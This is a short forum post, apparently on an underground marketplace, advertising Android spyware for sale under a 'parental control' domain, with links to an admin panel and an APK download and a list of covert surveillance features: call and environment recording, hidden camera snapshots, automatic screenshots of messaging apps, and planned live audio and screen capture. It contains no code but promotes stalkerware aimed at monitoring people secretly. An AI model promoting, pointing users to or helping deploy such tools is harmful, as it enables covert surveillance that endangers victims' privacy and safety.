Thread: [Web based android spyware](#)

Nikoa - March 26, 2024, 2:49 pm

Web based android spyware with many features for sale no need for portforward you can make account for free and test it <https://adminpanel.parentalcontrol.pro> and you can download the apk at [drin.online](#) for any questions pm
[contract=tid]Start Contract[/contract]

Features

call recording
call recording all social media
enviroment recording
snapshot front and back camera
auto screenshots social media like facebook messenger viber etc
i will also add this week live audio and live screen
